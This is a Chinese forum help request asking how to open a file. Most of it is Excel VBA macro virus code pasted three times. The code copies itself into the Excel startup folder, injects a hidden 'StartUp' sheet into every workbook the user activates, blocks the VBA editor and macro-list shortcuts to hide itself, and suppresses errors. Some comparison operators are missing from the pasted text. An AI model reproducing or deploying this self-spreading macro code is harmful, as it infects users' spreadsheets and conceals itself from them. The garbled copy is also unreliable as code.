这个文件怎么打开啊。请大家帮忙
这个文件怎么打开啊。请大家帮忙Sub auto_open()
On Error Resume Next
If ThisWorkbook.PathApplication.StartupPath And Dir(Application.StartupPath & "" & "1006（潘）.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "" & "1006（潘）.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("1006（潘）.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub aback()
On Error Resume Next
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
Workbooks.Open Application.StartupPath & "1006（潘）.xls"
End Sub
Sub auto_open()
On Error Resume Next
If ThisWorkbook.PathApplication.StartupPath And Dir(Application.StartupPath & "" & "1006（潘）.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "" & "1006（潘）.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("1006（潘）.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub aback()
On Error Resume Next
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
Workbooks.Open Application.StartupPath & "1006（潘）.xls"
End Sub
Sub auto_open()
On Error Resume Next
If ThisWorkbook.PathApplication.StartupPath And Dir(Application.StartupPath & "" & "1006（潘）.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "" & "1006（潘）.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("1006（潘）.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
End Sub
Sub acop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("1006（潘）.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub aback()
On Error Resume Next
Application.OnKey "%{F8}", "1006（潘）.xls!escape"
Application.OnKey "%{F11}", "1006（潘）.xls!escape"
Application.OnSheetActivate = "1006（潘）.xls!acop"
Application.OnTime Now + TimeValue("00:00:01"), "1006（潘）.xls!acop"
Workbooks.Open Application.StartupPath & "1006（潘）.xls"
End Sub
页:
[1]